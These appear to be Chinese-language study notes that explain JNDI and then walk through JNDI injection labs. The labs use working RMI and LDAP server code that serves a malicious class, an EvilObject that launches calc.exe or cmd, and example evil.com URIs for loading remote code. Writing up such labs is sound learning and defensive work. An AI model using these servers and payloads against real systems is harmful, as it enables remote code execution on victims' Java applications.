概述
臨時記錄以下JNDI注入的學習筆記,最近學的東西太多了,感覺知識要不進腦子了,學的東西並沒有完全理解,對原理還有應用的攻擊手法理解都不是很深......
推薦先理解JNDI的基本概念,然後再去學習JNDI的原理以及注入什麼的,要不然真的學起來非常難受......
我這裡是縫合了以下部落格來總結的內容,希望可以把基礎知識和JNDI攻擊結合起來,寫的更加適合小白一些......
JNDI學習總結(一)
JNDI學習總結(二)
mi1k7ea師傅: JNDI原理 + JNDI注入 + 高版本JDK繞過
oracle JNDI官方文件
什麼是JNDI?
JNDI(Java Naming and Directory Interface,Java命名和目錄介面)是J2EE規範中的核心部分之一。它為Java應用程式提供了一種命名和目錄服務的統一介面,允許程式設計師查詢和使用各種資源(如資料庫、遠端物件等)。許多專家認為,透徹理解JNDI的意義和作用,是掌握J2EE特別是EJB的關鍵。
那麼,JNDI究竟解決了什麼問題?我們可以透過對比“沒有JNDI”和“使用JNDI”的兩種方式,直觀瞭解其作用。
沒有JNDI時的開發方式
在傳統開發中,程式設計師需要直接透過JDBC驅動和資料庫連線字串訪問資料庫。以下是一個簡單的例子:
Connection conn = null;
try {
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://MyDBServer?user=xxx&password=xxx");
// 執行業務邏輯
conn.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (conn != null) {
try {
conn.close();
} catch (SQLException e) {}
}
}
問題分析
這種直接編碼的方式在小型專案中可行,但在複雜或長期維護的專案中會帶來以下問題:
- 配置耦合:資料庫伺服器地址、使用者名稱、密碼等硬編碼資訊需要頻繁修改。
- 靈活性不足:如果更換資料庫(如從MySQL切換到Oracle),需要修改驅動程式類名、連線字串等。
- 不利於擴充套件:系統執行時可能需要動態調整連線池引數,而直接編碼的方式難以適應。
使用JNDI的開發方式
透過JNDI,可以將這些配置從程式中抽離出來,由容器進行管理。開發人員只需透過名稱引用資源,而不必關心資源的具體配置。
配置示例
以JBoss為例,首先在容器中定義資料來源:
修改mysql-ds.xml
檔案:
<datasources>
<local-tx-datasource>
<jndi-name>MySqlDS</jndi-name>
<connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
<driver-class>com.mysql.jdbc.Driver</driver-class>
<user-name>root</user-name>
<password>rootpassword</password>
</local-tx-datasource>
</datasources>
Java程式碼引用資料來源:
Connection conn = null;
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:MySqlDS");
conn = ds.getConnection();
// 執行業務邏輯
conn.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (conn != null) {
try {
conn.close();
} catch (SQLException e) {}
}
}
優勢分析
使用JNDI後:
- 程式不再依賴具體的資料庫配置資訊(如JDBC URL、使用者名稱、密碼)。
- 配置變更時,只需修改容器中的配置檔案,無需調整程式碼。
- 提升了系統的靈活性和可維護性,支援動態資源調整。
JNDI的核心角色
在J2EE中的作用
JNDI是J2EE規範的重要部分,其核心作用類似“交換機”,為應用程式動態查詢資源提供了統一機制。JNDI允許:
- J2EE元件在執行時查詢其他元件或服務。
- 容器集中管理資源配置,減少開發人員的工作量。
- 跨環境快速切換(如開發環境和生產環境間的資料庫切換)。
JNDI的技術細節
- StateFactory與ObjectFactory
StateFactory
負責儲存物件的狀態(類似於持久化操作)。ObjectFactory
負責從狀態資訊中恢復物件例項。
- SPI機制
- 透過
jndi.properties
檔案配置服務提供者介面(SPI)。 - 支援靈活擴充套件,按需載入適配不同的協議和實現。
- 透過
- 容器資源管理
- 從J2EE 1.3開始,資源管理職責從應用程式轉移到容器。
- 應用程式透過
<resource-ref>
引用資源,容器負責解析和管理具體配置。
為什麼需要JNDI?
從現實場景中可以類比JNDI的作用:
- 想要聯絡某人時,首先撥打114查詢(
Context ctx = new InitialContext();
)。 - 獲取聯絡資訊後,透過該資訊找到目標資源(
ctx.lookup("資源名稱");
)。 - 成功建立聯絡後,開始與資源互動(如獲取資料庫連線並操作)。
這種解耦模式不僅提升了開發效率,還增強了系統的彈性和可維護性。
JNDI透過提供一個統一的命名和查詢介面,使J2EE應用程式中的資源訪問更加靈活和動態化。它不僅解耦了應用程式與具體資源的緊密關聯,還為大型企業應用程式的開發和部署提供了便利。
簡單來說,JNDI的本質就是給資源起個名字,程式透過名字找到資源。而這種間接定址方式,是J2EE規範實現靈活性和擴充套件性的核心基礎。
JNDI程式碼示例及相關概念
Java Naming:命名服務透過鍵值對的方式為物件建立唯一標識,使得應用程式可以透過名稱檢索這些物件。
Java Directory:目錄服務是命名服務的擴充套件,它不僅允許透過名稱檢索物件,還支援基於屬性的搜尋。
ObjectFactory:Object Factory允許將儲存在命名或目錄服務中的物件轉換為Java中的物件。例如,它能將RMI、LDAP等服務中的資料轉換為Java物件。
JNDI使得開發者能夠方便地訪問檔案系統中的檔案、定位遠端RMI物件、訪問LDAP等目錄服務,甚至定位EJB元件。
JNDI注入通常發生在應用程式允許使用者輸入並透過JNDI查詢物件時。攻擊者可能透過構造惡意JNDI查詢請求,誘使應用載入不安全的遠端物件,進而執行惡意程式碼。這類漏洞的關鍵在於JNDI能夠透過ObjectFactory下載並載入遠端類,攻擊者可以利用這一點執行任意程式碼。
程式碼示例
以下程式碼展示瞭如何使用JNDI的bind
和lookup
方法進行物件的繫結與查詢。
定義Person
類
import java.io.Serializable;
import java.rmi.Remote;
public class Person implements Remote, Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String toString() {
return "name:" + name + " password:" + password;
}
}
服務端程式碼
import javax.naming.*;
import java.rmi.registry.LocateRegistry;
public class Server {
public static void initPerson() throws Exception {
LocateRegistry.createRegistry(6666); // 建立RMI登錄檔
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
// 例項化並繫結Person物件
Person p = new Person();
p.setName("mi1k7ea");
p.setPassword("Niubility!");
ctx.bind("person", p); // 將person物件繫結到JNDI服務
ctx.close();
}
public static void findPerson() throws Exception {
InitialContext ctx = new InitialContext();
Person person = (Person) ctx.lookup("person"); // 查詢並返回person物件
System.out.println(person.toString());
ctx.close();
}
public static void main(String[] args) throws Exception {
initPerson(); // 初始化並繫結person物件
findPerson(); // 查詢並輸出person物件
}
}
在上面的程式碼中,initPerson()
方法將Person
物件透過JNDI繫結到rmi://localhost:6666
上的JNDI登錄檔,客戶端則透過findPerson()
方法查詢並輸出該物件。當然這裡是透過一個main函式來同時表示了客戶端和服務端。
可以簡單比較一下純RMI寫法和使用JNDI檢索的寫法,在純RMI寫法中的兩種典型寫法:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;
...
//服務端
IRemoteMath remoteMath = new RemoteMath();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Compute", remoteMath);
...
//客戶端
Registry registry = LocateRegistry.getRegistry("localhost");
IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");
或
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
...
//服務端
PersonService personService=new PersonServiceImpl();
LocateRegistry.createRegistry(6600);
Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
...
//客戶端
PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");
而JNDI中相關程式碼:
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
...
//服務端
LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
...
ctx.bind("person", p);
ctx.close();
...
//客戶端
InitialContext ctx = new InitialContext();
Person person = (Person) ctx.lookup("person");
ctx.close();
或
//服務端
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
相比之下(這段可以不看):
- 服務端:純RMI實現中是呼叫java.rmi包內的bind()或rebind()方法來直接繫結RMI登錄檔埠的,而JNDI建立的RMI服務中多的部分就是需要設定INITIAL_CONTEXT_FACTORY和PROVIDER_URL來指定InitialContext的初始化Factory和Provider的URL地址,換句話說就是初始化配置JNDI設定時需要預先指定其上下文環境如指定為RMI服務,最後再呼叫javax.naming.InitialContext.bind()來將指定物件繫結到RMI登錄檔中;
- 客戶端:純RMI實現中是呼叫java.rmi包內的lookup()方法來檢索繫結在RMI登錄檔中的物件,而JNDI實現的RMI客戶端查詢是呼叫javax.naming.InitialContext.lookup()方法來檢索的;
簡單地說,純RMI實現的方式主要是呼叫java.rmi這個包來實現繫結和檢索的,而JNDI實現的RMI服務則是呼叫javax.naming這個包即應用Java Naming來實現的。
Reference
Reference
類可以通俗地理解為一種“指路牌”或者“線索卡片”。它本身不是實際的物件,而是一個“指向”物件的描述資訊,用來告訴 JNDI 如何找到或重新建立這個物件。如果有學過引用
概念的同學應該比較好理解,Reference就像是一個具體物件的引用。
使用Reference物件可以指定工廠來建立一個java物件,使用者可以指定遠端的物件工廠地址,當遠端物件地址使用者可控時,這也會帶來不小的問題。
不是直接存物件,而是存“怎麼找到這個物件”
Reference
更像是一本說明書,告訴 JNDI:
- 這個物件的型別是什麼?
- 這個物件在哪裡?
- 需要什麼方法或工廠來建立這個物件?
類比場景:
想象你有一輛車停在某個停車場,Reference
就像是你手上的停車票,上面寫了停車場的地址和車位號。當你需要車時,只需要根據停車票去找,而不需要真的隨時隨地把車帶在身邊。
幫助延遲載入物件
有些物件可能很大,或者需要透過某種特殊方式才能建立出來。直接儲存這些物件可能效率低下,或者不實際。因此,JNDI 使用 Reference
來儲存這些物件的“重建方法”,當需要的時候才真正生成物件。
Reference
類包含一些關鍵的資訊,幫助 JNDI 知道如何定位或建立物件:
- 物件類名 [className]:告訴 JNDI,這個引用對應的物件是什麼型別(例如
javax.sql.DataSource
)。 - 工廠類名 [classFactory]:告訴 JNDI,這個引用需要哪個工廠類來幫助建立物件。
- 地址(地址屬性)[classFactoryLocation]:可以是額外的線索資訊,比如實際的資料庫連線字串等。
為什麼需要 Reference
?
直接儲存和繫結物件當然是可以的,但在一些複雜場景下,這種方式有明顯缺點:
- 減少直接物件的儲存:
如果物件特別大,比如一個資料庫連線池,直接繫結可能會佔用大量記憶體,而Reference
只儲存描述資訊,輕量且高效。 - 支援動態建立:
某些物件在繫結的時候可能還不存在,需要 JNDI 動態生成。例如,資料來源可以透過工廠類(如ObjectFactory
)動態建立,而不是直接繫結一個資料來源例項。 - 便於跨系統共享:
Reference
提供的是關於物件的資訊,而不是物件本身,這使得跨系統共享變得更容易。
舉個例子,假設我們要在 JNDI 中繫結一個資料庫連線池。
直接繫結物件:
繫結一個具體的 DataSource
例項:
InitialContext context = new InitialContext();
DataSource ds = new BasicDataSource(); // 建立一個連線池例項
context.bind("jdbc/myDB", ds); // 直接繫結
使用 Reference 繫結: 我們改用 Reference
來繫結:
import javax.naming.Reference;
InitialContext context = new InitialContext();
// 建立一個 Reference
Reference ref = new Reference(
"javax.sql.DataSource", // 物件的類名
"com.example.MyDataSourceFactory", // 工廠類的名稱,用於建立物件
null // 工廠類的地址(可選)
);
// 將 Reference 繫結到 JNDI
context.bind("jdbc/myDB", ref);
在使用時,JNDI 會透過 MyDataSourceFactory
動態建立 DataSource
物件。
遠端程式碼和安全管理器
引用原文連結:https://blog.csdn.net/u011721501/article/details/52316225
Java中的物件分為本地物件和遠端物件,本地物件是預設為可信任的,但是遠端物件是不受信任的。比如,當我們的系統從遠端伺服器載入一個物件,為了安全起見,JVM就要限制該物件的能力,比如禁止該物件訪問我們本地的檔案系統等,這些在現有的JVM中是依賴安全管理器(SecurityManager)來實現的。
JVM中採用的最新模型見上圖,引入了“域”的概念,在不同的域中執行不同的許可權。JVM會把所有程式碼載入到不同的系統域和應用域,系統域專門負責與關鍵資源進行互動,而應用域則透過系統域的部分代理來對各種需要的資源進行訪問,存在於不同域的class檔案就具有了當前域的全部許可權。
關於安全管理機制,可以詳細閱讀:http://www.ibm.com/developerworks/cn/java/j-lo-javasecurity/
JNDI安全管理器架構
對於載入遠端物件,JDNI有兩種不同的安全控制方式,對於Naming Manager來說,相對的安全管理器的規則比較寬泛,但是對JNDI SPI層會按照下面表格中的規則進行控制:
針對以上特性,攻擊者可能會找到一些特殊場景,利用兩者的差異來執行惡意程式碼。
JNDI注入
前提條件&JDK防禦
要想成功利用JNDI注入漏洞,重要的前提就是當前Java環境的JDK版本,而JNDI注入中不同的攻擊向量和利用方式所被限制的版本號都有點不一樣。
這裡將所有不同版本JDK的防禦都列出來:
- JDK 6u45、7u21之後:java.rmi.server.useCodebaseOnly的預設值被設定為true。當該值為true時,將禁用自動載入遠端類檔案,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑載入類檔案。使用這個屬性來防止客戶端VM從其他Codebase地址上動態載入類,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之後:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,預設為false,禁止RMI和CORBA協議使用遠端codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以透過指定URI為LDAP協議來進行JNDI注入攻擊。
- JDK 6u211、7u201、8u191之後:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,預設為false,禁止LDAP協議使用遠端codebase的選項,把LDAP協議的攻擊途徑也給禁了。
因此,我們在進行JNDI注入之前,必須知道當前環境JDK版本這一前提條件,只有JDK版本在可利用的範圍內才滿足我們進行JNDI注入的前提條件。
RMI表攻擊客戶端
將惡意的Reference類繫結在RMI登錄檔中,其中惡意引用指向遠端惡意的class檔案,當使用者在JNDI客戶端的lookup()函式引數外部可控或Reference類構造方法的classFactoryLocation引數外部可控時,會使使用者的JNDI客戶端訪問RMI登錄檔中繫結的惡意Reference類,從而載入遠端伺服器上的惡意class檔案在客戶端本地執行,最終實現JNDI注入攻擊導致遠端程式碼執行。
- 攻擊者透過可控的 URI 引數觸發動態環境轉換,例如這裡 URI 為
rmi://evil.com:1099/refObj
; - 原先配置好的上下文環境
rmi://localhost:1099
會因為動態環境轉換而被指向rmi://evil.com:1099/
; - 應用去
rmi://evil.com:1099
請求繫結物件refObj
,攻擊者事先準備好的 RMI 服務會返回與名稱refObj
想繫結的 ReferenceWrapper 物件(Reference("EvilObject", "EvilObject", "http://evil-cb.com/")
); - 應用獲取到
ReferenceWrapper
物件開始從本地CLASSPATH
中搜尋EvilObject
類,如果不存在則會從http://evil-cb.com/
上去嘗試獲取EvilObject.class
,即動態的去獲取http://evil-cb.com/EvilObject.class
; - 攻擊者事先準備好的服務返回編譯好的包含惡意程式碼的
EvilObject.class
; - 應用開始呼叫
EvilObject
類的建構函式,因攻擊者事先定義在建構函式,被包含在裡面的惡意程式碼被執行;
RMI攻擊實驗
- JDK 1.8.0_73 或其他 1.8 版本(避免 JNDI 劫持的相關安全補丁影響)
- python環境,沒有硬性版本要求,只是用來臨時搭建一個HTTP檔案伺服器
- 任意支援 Java 的 IDE 或文字編輯器
- 確保網路環境通暢,用於遠端載入
EvilObject
的.class
檔案。
建議如下檔案結構,分級更加清晰:
/JNDI-Injection-Lab/
├── client/ # 存放 JNDIClient.java
├── server/ # 存放 RMIService.java
├── malicious/ # 存放 EvilObject.java
client.JNDIClient.java
此程式碼模擬客戶端呼叫 lookup
方法,從指定的 RMI 服務中請求物件。
package client;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
if (args.length < 1) {
System.out.println("Usage: java JNDIClient <uri>");
System.exit(-1);
}
String uri = args[0];
Context ctx = new InitialContext();
System.out.println("Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
}
}
編譯命令(我使用的是windows,所以這裡我以Windows寫法為準):
"C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" JNDIClient.java
malicious.EvilObject.java
這是包含惡意程式碼的類,當載入時執行任意操作(此處為彈出計算器)。
package malicious;
public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"cmd", "/C", "calc.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}
"C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" EvilObject.java
server.RMIService.java
實現 RMI 服務端,將惡意物件引用繫結到 RMI 登錄檔中。
package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIService {
public static void main(String[] args) throws Exception {
// 啟動 RMI 登錄檔
Registry registry = LocateRegistry.createRegistry(1099);
// 建立 Reference 物件,指向惡意類檔案的位置
Reference refObj = new Reference("malicious.EvilObject", "malicious.EvilObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
// 繫結 ReferenceWrapper 到登錄檔
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
在JNDI-Injection-Lab
下使用以下命令編譯RMIService.java
"C:\Program Files\Java\jdk1.8.0_73\bin\javac.exe" -cp .;"C:\Program Files\Java\jdk1.8.0_73\lib\tools.jar" server/RMIService.java
-cp
或 -classpath
-cp
引數用於指定編譯時的類路徑(classpath
)。它告訴 javac
去哪裡查詢所需的類或庫。
.
:表示當前目錄。讓編譯器從當前目錄中查詢類或包。C:\\xxxx\tools.jar
:表示額外的依賴庫路徑。這裡假設RMIService.java
依賴tools.jar
中的類。
執行
啟動 HTTP 服務
使用python在 malicious/
目錄下啟動 HTTP 服務,讓EvilObject.class透過HTTP暴露出去,可以使用以下命令來啟動一個臨時的HTTP服務:
cd malicious/
python -m http.server 8080
可以透過http://localhost:8080來訪問到對應的目錄即可,說明http環境就起來了
啟動RMI服務端
在 JNDI-Injection-Lab
目錄下,執行 RMI 服務。
"C:\Program Files\Java\jdk1.8.0_73\bin\java.exe" -cp . server.RMIService
啟動JNDI客戶端
在 JNDI-Injection-Lab
目錄下,執行客戶端,指定惡意的 RMI URI。
"C:\Program Files\Java\jdk1.8.0_73\bin\java.exe" -cp . client.JNDIClient rmi://127.0.0.1:1099/refObj
彈出計算器,惡意程式碼被執行
在這個場景中,客戶端透過 ctx.lookup(uri)
獲取服務端繫結的物件時,物件的程式碼在客戶端執行。這是因為 JNDI 和 RMI 機制會將繫結的物件(或其描述)從服務端傳遞到客戶端,並在客戶端嘗試載入和使用。注意哈,這個地方和原始的RMI還不一樣,讓我們來比較一下區別。
JNDI 的行為
- JNDI 在客戶端建立物件:
- 當客戶端透過
ctx.lookup(uri)
查詢一個物件時,JNDI 可能會返回一個遠端物件(如Remote
或Reference
),具體行為取決於繫結物件的型別。 - 如果返回的是
Reference
,JNDI 會嘗試根據Reference
中描述的資訊(包括類名和程式碼位置)在客戶端載入並例項化物件。 - 這個機制允許遠端程式碼在客戶端執行,因此容易被利用來實現遠端程式碼執行(RCE)。
- 當客戶端透過
- JNDI 特點:
- 它更像是“從服務端獲取一個類描述,客戶端負責載入和例項化”的機制。
- 透過
Reference
載入的類在客戶端執行任何構造器邏輯,可能觸發惡意程式碼。
RMI 的行為
- RMI 遠端方法呼叫:
- RMI 的目標是讓客戶端呼叫服務端物件的方法,而不是在客戶端建立服務端物件的例項。
- 當客戶端透過
Naming.lookup("rmi://...")
獲取一個遠端物件時,它實際獲取的是該遠端物件的代理(stub)。 - 客戶端呼叫的方法實際上是透過代理傳送到服務端,由服務端的遠端物件在服務端執行方法,然後返回結果給客戶端。
- RMI 特點:
- 方法呼叫總是在服務端執行,客戶端僅作為呼叫的發起者。
- 客戶端不會載入遠端物件的類檔案,也不會在客戶端例項化服務端物件。
RMI&JNDI主要區別
特性 | JNDI | RMI |
---|---|---|
繫結物件 | 可以是 Remote 、Reference 等型別 |
必須是 Remote 型別的遠端物件 |
客戶端行為 | 可能載入並例項化服務端描述的類 | 獲取遠端物件的代理,呼叫代理方法 |
程式碼執行位置 | 類的構造方法在客戶端執行 | 方法邏輯在服務端執行 |
典型使用場景 | 資源查詢(如資料庫連線)等 | 遠端方法呼叫,分散式物件管理 |
安全風險 | 可能被用來載入和執行惡意類(RCE 漏洞) | 需要明確定義遠端介面,但安全性更高(其實也很危險hhhhhh) |
在RMI中呼叫了InitialContext.lookup()的類有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP中呼叫InitialContext.lookup()的類有:
InitialDirContext.lookup()
Spring's LdapTemplate.lookup()
LdapTemplate.lookupContext()
總結
其實在Mi1k7ea大佬的部落格中提到了多種攻擊方式,但是我覺得其最終原理都是基於修改RMI的登錄檔,最終使得客戶端從RMI的註冊中獲取到的是一段惡意程式碼,就這一點就可以概括利用方式了,就是如果我們能拿到RMI登錄檔修改許可權就能寫入惡意程式碼從而入侵客戶端。
LDAP攻擊
透過LDAP攻擊向量來利用JNDI注入的原理和RMI攻擊向量是一樣的,區別只是換了個媒介而已,下面就只列下LDAP+Reference的利用技巧,至於JNDI注入漏洞點和前面是一樣的就不再贅述了。
LDAP+Reference攻擊實驗
環境準備
- JDK 1.8.0_73 或其他 1.8 版本(避免 JNDI 劫持的相關安全補丁影響)
- 任意支援 Java 的 IDE 或文字編輯器
引入以下maven依賴項
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.11</version>
<scope>test</scope>
</dependency>
程式碼結構如下:
/jndi-labs2/
├── EvilObject.java # 惡意程式碼
├── LadpClient.java # Ladp客戶端
├── LadpServer.java # Ladp服務端
我這裡就不本地javac,然後java再去這樣執行了,直接用IDEA進行除錯了,還是IDEA方便
EvilObject
package jndi_labs2;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilObject implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("cmd /c start");
} catch (IOException ignore) {}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
LadpServer
package jndi_labs2;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#jndi_labs2.EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch ( Exception ignore ) { }
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* 客戶端請求後會執行該方法
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch (Exception ignore) { }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LadpClient
package jndi_labs2;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:1234/jndi_labs2.EvilObject");
String data = "This is LDAP Client.";
}
catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
先執行LadpServer,再執行LadpClient,結果如下,惡意程式碼被執行,彈出了cmd視窗。
總結
JNDI注入攻擊的本質其實就是修改繫結的物件,當客戶端嘗試獲取物件時,讓客戶端獲取到我們構造的惡意物件即可。